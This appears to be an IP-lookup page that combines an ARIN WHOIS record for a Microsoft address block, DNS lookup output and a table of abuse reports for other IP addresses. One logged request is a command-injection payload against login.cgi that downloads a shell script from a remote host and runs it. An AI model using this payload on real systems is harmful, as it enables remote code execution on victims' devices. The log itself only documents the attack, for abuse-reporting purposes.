City: Des Moines
Region: Iowa
Country: United States
Internet Service Provider: unknown
Hostname: unknown
Organization: unknown
Usage Type: unknown
#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/resources/registry/whois/tou/
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/resources/registry/whois/inaccuracy_reporting/
#
# Copyright 1997-2026, American Registry for Internet Numbers, Ltd.
#
NetRange: 4.144.0.0 - 4.159.255.255
CIDR: 4.144.0.0/12
NetName: MSFT
NetHandle: NET-4-144-0-0-2
Parent: NET4 (NET-4-0-0-0-0)
NetType: Direct Allocation
OriginAS:
Organization: Microsoft Corporation (MSFT)
RegDate: 2019-10-04
Updated: 2019-10-04
Ref: https://rdap.arin.net/registry/ip/4.144.0.0
OrgName: Microsoft Corporation
OrgId: MSFT
Address: One Microsoft Way
City: Redmond
StateProv: WA
PostalCode: 98052
Country: US
RegDate: 1998-07-10
Updated: 2025-06-10
Comment: To report suspected security issues specific to traffic emanating from Microsoft online services, including the distribution of malicious content or other illicit or illegal material through a Microsoft online service, please submit reports to:
Comment: * https://cert.microsoft.com.
Comment:
Comment: For SPAM and other abuse issues, such as Microsoft Accounts, please contact:
Comment: * abuse@microsoft.com.
Comment:
Comment: To report security vulnerabilities in Microsoft products and services, please contact:
Comment: * secure@microsoft.com.
Comment:
Comment: For legal and law enforcement-related requests, please contact:
Comment: * msndcc@microsoft.com
Comment:
Comment: For routing, peering or DNS issues, please
Comment: contact:
Comment: * IOC@microsoft.com
Ref: https://rdap.arin.net/registry/entity/MSFT
OrgTechHandle: BEDAR6-ARIN
OrgTechName: Bedard, Dawn
OrgTechPhone: +1-425-538-6637
OrgTechEmail: dabedard@microsoft.com
OrgTechRef: https://rdap.arin.net/registry/entity/BEDAR6-ARIN
OrgTechHandle: MRPD-ARIN
OrgTechName: Microsoft Routing, Peering, and DNS
OrgTechPhone: +1-425-882-8080
OrgTechEmail: IOC@microsoft.com
OrgTechRef: https://rdap.arin.net/registry/entity/MRPD-ARIN
OrgTechHandle: SINGH683-ARIN
OrgTechName: Singh, Prachi
OrgTechPhone: +1-425-707-5601
OrgTechEmail: pracsin@microsoft.com
OrgTechRef: https://rdap.arin.net/registry/entity/SINGH683-ARIN
OrgRoutingHandle: CHATU3-ARIN
OrgRoutingName: Chaturmohta, Somesh
OrgRoutingPhone: +1-425-882-8080
OrgRoutingEmail: someshch@microsoft.com
OrgRoutingRef: https://rdap.arin.net/registry/entity/CHATU3-ARIN
OrgTechHandle: IPHOS5-ARIN
OrgTechName: IPHostmaster, IPHostmaster
OrgTechPhone: +1-425-538-6637
OrgTechEmail: iphostmaster@microsoft.com
OrgTechRef: https://rdap.arin.net/registry/entity/IPHOS5-ARIN
OrgAbuseHandle: MAC74-ARIN
OrgAbuseName: Microsoft Abuse Contact
OrgAbusePhone: +1-425-882-8080
OrgAbuseEmail: abuse@microsoft.com
OrgAbuseRef: https://rdap.arin.net/registry/entity/MAC74-ARIN
#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/resources/registry/whois/tou/
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/resources/registry/whois/inaccuracy_reporting/
#
# Copyright 1997-2026, American Registry for Internet Numbers, Ltd.
#; <<>> DiG 9.10.3-P4-Ubuntu <<>> 4.150.194.35
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 30535
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;4.150.194.35. IN A
;; AUTHORITY SECTION:
. 30 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2026102601 1800 900 604800 86400
;; Query time: 10 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Tue Oct 27 06:00:42 CST 2026
;; MSG SIZE rcvd: 105Host 35.194.150.4.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 35.194.150.4.in-addr.arpa: NXDOMAIN| IP | Type | Details | Datetime |
|---|---|---|---|
| 107.170.203.223 | attackspambots | " " |
2019-06-22 09:08:00 |
| 61.223.61.249 | attackspambots | 445/tcp [2019-06-21]1pkt |
2019-06-22 08:52:55 |
| 42.179.86.184 | attack | 23/tcp [2019-06-21]1pkt |
2019-06-22 08:58:59 |
| 149.200.249.65 | attackbots | 445/tcp [2019-06-21]1pkt |
2019-06-22 08:56:55 |
| 123.9.39.240 | attackbotsspam | 23/tcp [2019-06-21]1pkt |
2019-06-22 09:05:59 |
| 58.177.174.150 | attackbots | firewall-block, port(s): 23/tcp |
2019-06-22 09:25:05 |
| 118.24.249.145 | attack | Bad Request: "GET /login.cgi?cli=aa aa';wget http://194.147.32.131/sh -O -> /tmp/kh;sh /tmp/kh'$ HTTP/1.1" Bad Request: "GET /login.cgi?cli=aa aa';wget http://194.147.32.131/sh -O -> /tmp/kh;sh /tmp/kh'$ HTTP/1.1" |
2019-06-22 08:57:19 |
| 201.150.151.181 | attackbotsspam | Request: "GET / HTTP/1.1" |
2019-06-22 09:05:38 |
| 77.78.196.56 | attackbotsspam | Request: "GET / HTTP/1.1" |
2019-06-22 08:43:09 |
| 51.75.206.26 | attackspam | SSH/22 MH Probe, BF, Hack - |
2019-06-22 09:11:14 |
| 14.29.208.72 | attackbots | RDP brute forcing (r) |
2019-06-22 09:20:31 |
| 159.89.180.214 | attackspam | wp brute-force |
2019-06-22 09:18:05 |
| 183.185.132.221 | attackbots | 23/tcp [2019-06-21]1pkt |
2019-06-22 08:47:17 |
| 77.247.110.58 | attack | 21.06.2019 22:16:55 Connection to port 5060 blocked by firewall |
2019-06-22 09:30:45 |
| 37.114.177.158 | attackspam | Jun 21 21:40:24 dev sshd\[23785\]: Invalid user admin from 37.114.177.158 port 43823 Jun 21 21:40:24 dev sshd\[23785\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.114.177.158 Jun 21 21:40:26 dev sshd\[23785\]: Failed password for invalid user admin from 37.114.177.158 port 43823 ssh2 |
2019-06-22 09:09:06 |